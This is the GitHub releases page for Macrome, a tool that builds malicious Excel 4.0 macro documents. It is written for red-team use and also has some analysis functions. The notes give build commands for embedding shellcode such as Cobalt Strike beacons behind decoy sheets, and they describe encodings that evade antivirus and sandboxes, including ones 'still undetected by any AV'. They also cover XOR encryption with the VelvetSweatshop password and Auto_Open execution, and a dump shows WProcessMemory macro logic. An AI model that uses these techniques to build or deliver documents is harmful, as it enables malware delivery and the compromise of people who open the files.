Skip to content

Releases: michaelweber/Macrome

Macrome v0.5.1 Bugfix Release

04 Oct 16:30
Compare
Choose a tag to compare
Macrome v0.5.1 - Bugfix Patch

Macrome v0.5.0 - Better Documentation + Improved Preambles!

15 Jul 14:33
Compare
Choose a tag to compare

This release includes:

  • Refreshed Documentation The documentation for Macrome has been getting a bit long in the tooth, so I've updated it to highlight some of the newer features added over some previous releases. There's more examples given for how to invoke newer functionality as well as a "latest & greatest" example invocation which demos "optimal" usage of the tool.
  • Enhanced Preamble code! There were some bugs in using the --preamble flag which have now been fixed, so the preambles will actually work the way you expect. Additionally "instant evaluation" mode has been added to commands where the XLS doc will immediately run the macro after decoding it. You can tag a preamble macro as "instant" by prepending %%%%% to the line. This is especially helpful for evading certain sandboxes.
  • Making Base64 payload building the default mode. No more having to know that the --payload-method flag is a thing in order to have payloads work the way you expect. While I was going through the old issue log I realized that almost every issue ended with me saying "Just use the new mode"...at that point it seemed like there was no reason to use the older more bug/error-prone mode by default so I changed it. If you haven't used it before...I strongly recommend checking it out, there's no need to encode payloads to avoid null bytes now which means you can just take the output from Donut or any other tool and jam it into your document.
  • The --no-label-obfuscation flag If you've been using Macrome for non-english language documents (or on a MacOS target) and the Auto_Open event hasn't been triggering, give this flag a try. Apparently some of the Unicode shenanigans we run with are not quite so appreciated for certain languages / encodings found on other operating systems. This WILL expose your Auto_Open label to analysis tools, but if you also make sure to use the --password flag to encrypt your document, you'll likely be fine.

Macrome 0.4.1 - Enhanced Payload Embedding Edition

26 Mar 21:09
Compare
Choose a tag to compare

A number of users have had issues using Macrome to embed larger payloads such as Cobalt Strike stageless beacons. This release of Macrome adds a new MacroPattern (check out MacroPatterns.cs) which (ab)uses the CryptStringToBinary API to write a base64 string directly into memory. Because we're encoding the shellcode as base64 it doesn't matter if the payload contains null bytes or not - so no more using msfvenom to wrap payloads.

Additionally, once payloads exceeded a certain size Macrome would take too long to execute (Excel isn't the fastest at executing 100 of thousands of copies between cells). By embedding the payload directly into the document the time from clicking "Enable Macros" to shellcode execution is VASTLY improved. The old mechanism would be able to copy ~20-40kb / sec. I've seen the new mechanism load a shellcodified Go binary over 5MB large in under 2 seconds. For folks looking to turn their binaries into shellcode I highly recommend Amber.

This new payload encoding + macro pattern can be accessed by using adding the --payload-method Base64 command to your Macrome invocation. For example:

dotnet Macrome.dll b --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin --method AntiAnalysisCharSubroutine --payload-method base64 --password VelvetSweatshop --output-file-name base64payload.xls

I've tested this with stageless CS payloads (which make roughly a 1MB XLS file if you include x86 and x64 shellcode), Go binaries, and some other custom shellcode and it works shockingly well. I strongly recommend folks who have had issues with payload embedding in the past to try this out.

Macrome 0.3.0 XOR Obfuscation Release

28 Sep 04:04
Compare
Choose a tag to compare

This release adds support for encrypting and decrypting XLS documents using the legacy XOR Obfuscation mode.

Decrypting Documents

Documents that are processed using the dump or deobfuscate mode for Macrome can now accept a --password flag which will be used to decrypt the document. If the --password flag is not provided but the document contains a FilePass record, Macrome will attempt to decrypt the document using the Excel default password VelvetSweatshop.

Encrypting Documents

When using Macrome's build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of VelvetSweatshop is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. An example of this usage would be:

Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop

Note that when using more "modern" Excel objects such as anything using shapes (including most versions of embedded Images), Excel may decrypt the document and then open it in Protected Mode - requiring an additional user interaction before executing the macro. Text decoys do not appear to have this issue, and Images can be embedded using the Background functionality of the document, though this appears to increase the file size significantly. Avoiding this will be a goal of future releases.

Macrome 0.2.4 Bugfix Release

15 Sep 23:05
Compare
Choose a tag to compare

Updating macro sheet generation to create International Macro Sheets by inserting an Intl record (as described in the ms-xls specification). This should allow sheets to work in Excel instances even if their region is set to one where certain unicode combinations are interpreted differently than US instances.

Also added a minor fix for dealing with an edge case where the OLE container for Excel documents does not properly define its dictionary entry counts when dumping content.

Credit to @slavadba for helping me realize this was a problem and to @chvancooten for helping me come up with a solution!

Macrome 0.2.3 Bugfix Release

03 Sep 18:47
Compare
Choose a tag to compare

Fixed some minor issues with PtgMemFunc, PtgAreaErr3d, and Unary Ptg objects when dumping formulas.

Macrome 0.2.2 Bugfix Release

10 Aug 17:06
Compare
Choose a tag to compare

This release of Macrome fixes a few bugs as reported by users. Big thanks to @johnmccash for providing some samples!

Support has been improved for PtgRange objects (ex: B1:B:B:10:10 is somehow a range in Excel). Some issues with accidentally dropping PtgAttr fields when dumping formulas have also been resolved.

Macrome 0.2.1

18 Jun 21:46
668938b
Compare
Choose a tag to compare

This release adds additional anti-analysis options when generating documents and also fixes a few bugs.

AntiAnalysisCharSubroutine Method

  • Implements the Unicode SET.NAME obfuscations described here.

Bug Fixes

  • Fixed an issue where columns ending with Z would be labeled incorrectly in dumping mode.
  • Added support for additional PtgAttr objects when dumping and some basic support for detecting passworded documents (which are still unsupported)

Macrome 0.2.0

03 Jun 14:13
Compare
Choose a tag to compare

Enhanced Macro Building - EXCELntDonut Supported!

When building from an Excel macro instead of a binary payload Macrome has been enhanced in several ways:

  1. Imported macros can have multiple columns, just separate each column entry in a row by the ; character.
  2. Macros that rely on SELECT are automatically refactored to use variables so the Macro can run in the background of a decoy sheet.
  3. Macros with large =CHAR()&CHAR()&CHAR() blocks will automatically be converted during the document build process to prevent a 500kb macro from turning into a 30MB xls document.
  4. The above changes mean that Macrome works with the output from EXCELntDonut (https://github.com/FortyNorthSecurity/EXCELntDonut). Try importing an EXCELntDonut Macro using the following syntax:
dotnet Macrome.dll build --decoy-document decoy-document.xls --payload-type Macro --payload excelntdonut.txt --output-file-name excelntdonut.xls

New Payload Encoding Methods

These will be detailed in an upcoming blog post, but Macrome can now encode macro payloads in three different ways. Most of these are still undetected by any AV - but experiment with your payloads to see what works best.

  1. CharSubroutine - Replaces the use of repeated CHAR() functions by creating a subroutine at a random cell, and then invoking it by using a long chain of IF and SET.NAME functions. This is something that hasn't been abused by prominent maldoc authors yet, so it's unlikely to ping on AV for now.
  2. ObfuscatedCharFunc - The original Macrome encoding function. Invoke CHAR() but append it to a random empty cell and wrap the value in a ROUND function.
  3. ObfuscatedCharFuncAlt - A slight variation on the original encoding, instead of using a PtgFunc to invoke CHAR, we use a PtgFuncVar - this breaks most signatures that try to count CHAR invocations.

Specify an encoding by using the method flag when building - for example, to use the CharSubroutine encoder:

dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls

64-bit Payload Support

EXCELntDonut's awesome multi-architecture Macro has been adapted for Macrome - now you can provide an x86 and x64 payload and both will be baked into the generated document depending on what architecture the machine has been run on. NOTE: The 64-bit functionality is fairly experimental right now - make sure you test payloads on a 64-bit system after generating the document. It does appear that sometimes Excel will crash AFTER the payload has been executed, but the payload will run. If payloads aren't running please open an issue and share the document you generated along with what version of Excel you're trying to work with.

64-bit payloads can be included by using the payload64-bit flag. They currently still require an x86 payload as well, but if there's enough demand there can be 64-bit only document generation included in a future release. An example build looks like:

dotnet Macrome.dll b --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin --output-file-name 64bit_popcalc_macro.xls

Macro Sheet Dumping Functionality

Now, in addition to undoing some minor anti-analysis measures with the deobfuscate command, Macrome can dump the most relevant BIFF8 records for arbitrary documents. This functionality is similar to olevba's macro dumping functionality, but it has some more complete processing of edge-case Ptg entries to help make sure that the format is as close to Excel's actual FORMULA entries as possible. This is what I've been using to debug some of the weird edge case documents I've been generating while making this tool, so it's comparably robust. I'm sure there's tons of edge cases that are not supported right now though, so if you find a document that it doesn't properly dump the content of, please open an issue and share the document as a zip file.

By default the dumping functionality will only output records commonly needed by maldoc authors - BoundSheet8, Formula, and Lbl are the primary records that contain the majority of information in a standard Excel 4 Macro document - though the output will also contain some supporting entries like SupBook and ExternSheet. For example, here's an example invocation and output for one of the weirder test documents I've made:

dotnet Macrome.dll dump --path UnitTests\TestDocs\macro-loop.xls
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Macrosheet | HiddenState: Visible | Name [unicode=False]: Macro1
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Worksheet | HiddenState: Visible | Name [unicode=False]: Sheet1
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Worksheet | HiddenState: Visible | Name [unicode=False]: Sheet2
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Worksheet | HiddenState: Visible | Name [unicode=False]: Sheet3
BIFF RecordType: SupBook - Length: 4
BIFF RecordType: ExternSheet - Length: 8
Lbl (0x13 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: arg1
Lbl (0x13 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: arg2
Lbl (0x15 bytes) - flags: 0x20 | fBuiltin: True | fHidden: False | Name [unicode=False]: Auto_Open !AUTO_OPEN! | Formula: Subroutine
Lbl (0x1D bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: curCell | Formula: Macro1!C14
Lbl (0x20 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: invokeChar | Formula: Macro1!A11
Lbl (0x23 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: InvokeFormula | Formula: Macro1!A12
Lbl (0x24 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: stringToBuild | Formula: "ABCDE"
Lbl (0x20 bytes) - flags: 0x4A | fBuiltin: False | fHidden: False | Name [unicode=False]: Subroutine | Formula: Macro1!D8
Lbl (0x19 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: var | Formula: Macro1!C13
Lbl (0x24 bytes) - flags: 0x0 | fBuiltin: False | fHidden: False | Name [unicode=False]: WProcessMemory | Formula: Macro1!A13
Formula[B1]: invokeChar=A11
Formula[B2]: var=999
Formula[B3]: IF(SET.NAME("var",65),invokeChar(), )
Formula[B4]: ALERT(B3,2)
Formula[B5]: InvokeFormula("=HALT()",A1)
Formula[B6]: WProcessMemory(-1,B2+(D1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)
Formula[B7]: HALT()
Formula[D8]: stringToBuild=""
Formula[D9]: invokeChar=A11
Formula[D10]: curCell=C9
Formula[A11]: RETURN(CHAR(var))
Formula[D11]: WHILE(curCell<>"END")
Formula[A12]: RETURN(FORMULA(arg1,arg2))
Formula[D12]: var=curCell
Formula[A13]: RETURN()
Formula[D13]: stringToBuild=stringToBuild&invokeChar()
Formula[D14]: curCell=ABSREF("R[1]C",curCell)
Formula[D15]: NEXT()
Formula[D16]: ALERT(stringToBuild,2)
Formula[D17]: RETURN(stringToBuild)

Macrome will process the rgce component of each entry to help identify which cells are associated with each Lbl entry. It will also call out which entries will run on open by flagging them with an !AUTO_OPEN! string. Note how this example the Auto_Open tag points to a separate Lbl (Subroutine), which then points to a start cell.

The Dump mode also will automatically translate some Excel shorthand for subroutine invocation and variable assignment. I'll talk about this more in a future blog post, but note how the invokeChar label is used like a function in B3 and how it is assigned a cell in D9. Appending a () to a name in Excel is identical to invoking the RUN macro on it. If you have a cell that looks like varName=value instead of the more traditional =CHAR()... field this is an alias for invoking the SET.NAME macro functionality. Macrome will automatically translate this before displaying.

By adding the dump-hex-bytes flag, each displayed BIFF8 record will be accompanied by a hex dump of its content. Note that the BIFF8 header (containing the record type and length) are not included - the dump only displays the "meat" of the entry. For example:

dotnet Macrome.dll dump --path UnitTests\TestDocs\macro-loop.xls --dump-hex-bytes
dotnet Macrome.dll dump --path ..\..\..\UnitTests\TestDocs\macro-loop.xls --dump-hex-bytes
BoundSheet8 (0xE bytes) - flags: 0x0 | SheetType: Macrosheet | HiddenState: Visible | Name [unicode=False]: Macro1
00000000   AC 2F 00 00 00 01 06 00  4D 61 63 72 6F 31         ¬/······Macro1
...SNIP...
Lbl (0x15 bytes) - flags: 0x20 | fBuiltin: True | fHidden: False | Name [unicode=False]: Auto_Open !AUTO_OPEN! | Formula: Subroutine
00000000   20 00 00 01 05 00 00 00  00 00 00 00 00 00 00 01    ···············
00000010   23 08 00 00 00                                     #····
...SNIP...
Formula[B6]: WProcessMemory(-1,B2+(D1*255),ACTIVE.CELL(),LEN(ACTIVE.CELL()),0)
00000000   05 00 01 00 0F 00 01 00  00 00 00 00 FF FF 20 00   ············ÿÿ ·
00000010   00 00 01 FF 2E 00 23 0A  00 00 00 1F 00 00 00 00   ···ÿ.·#·········
00000020   00 00 F0 BF 44 01 00 01  C0 44 00 00 03 C0 1E FF   ··d¿D···AD···A·ÿ
00000030   00 05 15 03 21 5E 00 41  5E 00 41 20 00 1E 00 00   ····!^·A^·A ····
00000040   42 06 FF 00                                        B·ÿ·
...SNIP...
Formula[D14]: curCell=ABSREF("R[1]C",curCell)
00000000   0D 00 03 00 0F 00 01 00  01 00 0C 00 FF FF 00 00   ············ÿÿ··
00000010   0E 00 03 FF 22 00 19 20  00 00 17 07 00 63 75 72   ···ÿ"·· ·····cur
00000020   43 65 6C 6C 17 05 00 52  5B 31 5D 43 23 04 00 00   Cell···R[1]C#···
00000030   00 21 4F 00 42 02 58 00                            ·!O·B·X·

Macrome 0.1.3 Windows x64 Binaries

13 May 20:01
5b5429a
Compare
Choose a tag to compare
Adding blog post reference to README